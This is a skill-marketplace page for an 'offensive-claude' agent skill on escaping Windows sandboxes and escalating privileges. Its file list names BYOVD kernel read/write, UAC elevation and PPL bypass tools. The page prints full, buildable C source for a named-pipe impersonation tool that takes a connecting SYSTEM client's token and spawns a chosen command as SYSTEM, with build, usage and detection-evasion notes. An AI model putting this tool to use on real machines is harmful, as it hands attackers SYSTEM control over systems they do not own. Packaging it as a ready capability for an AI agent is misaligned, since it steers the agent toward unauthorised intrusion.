hypnguyen1209/offensive-claude / skills/windows-boundaries
windows-boundaries
VerifiedUse when crossing a Windows security boundary or escaping a sandbox — kernel/user crossing (win32k/dxgkrnl UAF CVE-2025-24983), BYOVD kernel R/W, UAC/COM elevation, AppContainer/LPAC & Chromium-Mojo sandbox escape (CVE-2025-2783), PPL bypass, RPC/ALPC & named-pipe impersonation
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 8.9 KB |
| references/byovd-kernel-rw.md | markdown | 7.4 KB |
| references/integrity-uac-com.md | markdown | 7.0 KB |
| references/kernel-user-boundary.md | markdown | 8.0 KB |
| references/ppl-protected-process.md | markdown | 8.1 KB |
| references/rpc-alpc-boundary.md | markdown | 8.3 KB |
| references/sandbox-appcontainer-escape.md | markdown | 8.3 KB |
| scripts/byovd_kernel_rw.c | other | 7.8 KB |
| scripts/enum_boundaries.ps1 | script | 6.3 KB |
| scripts/ioctl_fuzzer.py | script | 5.8 KB |
| scripts/named_pipe_impersonate.c | other | 4.4 KB |
| scripts/ppl_byovdll.c | other | 5.2 KB |
| scripts/sandbox_escape_probe.py | script | 5.8 KB |
| scripts/uac_com_elevate.cpp | other | 4.9 KB |
scripts/named_pipe_impersonate.c
View on GitHub/*
* named_pipe_impersonate.c - Service-account -> SYSTEM via named-pipe client impersonation.
*
* Core primitive behind the entire "Potato" family and PhantomRPC: a process holding
* SeImpersonatePrivilege creates a named pipe, coerces a SYSTEM client to connect, calls
* ImpersonateNamedPipeClient to assume its token, duplicates that token to a primary
* token, and spawns a process as SYSTEM with CreateProcessWithTokenW.
*
* This tool implements the *server* side end-to-end (the reusable half). The coercion of
* a privileged client is mechanism-specific:
* - Classic Potato : DCOM/BITS OXID resolver coercion
* - PrintSpoofer : SpoolSS RPC over \pipe\spoolss
* - PhantomRPC : squat a non-existent RPC endpoint (e.g. \pipe\W32TIME) a SYSTEM
* binary connects to, no service disable required (Kaspersky 2026)
* Provide your coercion trigger separately, or run a SYSTEM client by hand to validate.
*
* BUILD (MSVC x64): cl /O2 /W3 named_pipe_impersonate.c advapi32.lib
* USAGE: named_pipe_impersonate.exe \\.\pipe\W32TIME "C:\\Windows\\System32\\cmd.exe"
*
* OPSEC: pipe creation + ImpersonateNamedPipeClient + CreateProcessWithTokenW is a
* high-fidelity detection (Elastic "Privilege Escalation via Named Pipe Impersonation",
* Sysmon EID 17/18 + 4624 logon type 9). See references/rpc-alpc-boundary.md.
*/
#include <windows.h>
#include <stdio.h>
static int run_as_system(HANDLE imp_token, const char *cmd) {
HANDLE primary = NULL;
if (!DuplicateTokenEx(imp_token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
TokenPrimary, &primary)) {
printf("[-] DuplicateTokenEx %lu\n", GetLastError());
return 1;
}
STARTUPINFOA si = { sizeof(si) };
si.lpDesktop = (char*)"winsta0\\default";
PROCESS_INFORMATION pi = {0};
BOOL ok = CreateProcessWithTokenW(primary, LOGON_WITH_PROFILE, NULL,
(LPWSTR)NULL, 0, NULL, NULL,
(LPSTARTUPINFOW)&si, &pi);
if (!ok) {
/* Fallback for service contexts: CreateProcessAsUser */
wchar_t wcmd[1024]; MultiByteToWideChar(CP_ACP, 0, cmd, -1, wcmd, 1024);
STARTUPINFOW siw = { sizeof(siw) }; siw.lpDesktop = (LPWSTR)L"winsta0\\default";
ok = CreateProcessAsUserW(primary, NULL, wcmd, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE, NULL, NULL, &siw, &pi);
}
if (ok) {
printf("[+] spawned PID %lu as impersonated token\n", pi.dwProcessId);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} else {
printf("[-] process creation %lu\n", GetLastError());
}
CloseHandle(primary);
return ok ? 0 : 1;
}
int main(int argc, char **argv) {
if (argc < 3) {
printf("usage: %s <\\\\.\\pipe\\Name> <command>\n", argv[0]);
return 1;
}
const char *pipe = argv[1];
const char *cmd = argv[2];
/* NULL DACL so any client (including SYSTEM) can connect. */
SECURITY_DESCRIPTOR sd; InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);
SECURITY_ATTRIBUTES sa = { sizeof(sa), &sd, FALSE };
HANDLE hp = CreateNamedPipeA(pipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT, 1,
4096, 4096, 0, &sa);
if (hp == INVALID_HANDLE_VALUE) {
printf("[-] CreateNamedPipe %lu\n", GetLastError());
return 1;
}
printf("[+] pipe server up: %s (now trigger SYSTEM client / coercion)\n", pipe);
if (!ConnectNamedPipe(hp, NULL) && GetLastError() != ERROR_PIPE_CONNECTED) {
printf("[-] ConnectNamedPipe %lu\n", GetLastError());
CloseHandle(hp); return 1;
}
/* Force the client to push at least one message so its context is available. */
char tmp[8]; DWORD n = 0; ReadFile(hp, tmp, sizeof(tmp), &n, NULL);
if (!ImpersonateNamedPipeClient(hp)) {
printf("[-] ImpersonateNamedPipeClient %lu\n", GetLastError());
CloseHandle(hp); return 1;
}
printf("[+] impersonating connected client\n");
HANDLE thr_tok = NULL;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &thr_tok);
char user[256]; DWORD ul = sizeof(user);
GetUserNameA(user, &ul);
printf("[*] impersonated identity: %s\n", user);
int rc = run_as_system(thr_tok, cmd);
RevertToSelf();
if (thr_tok) CloseHandle(thr_tok);
CloseHandle(hp);
return rc;
}
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |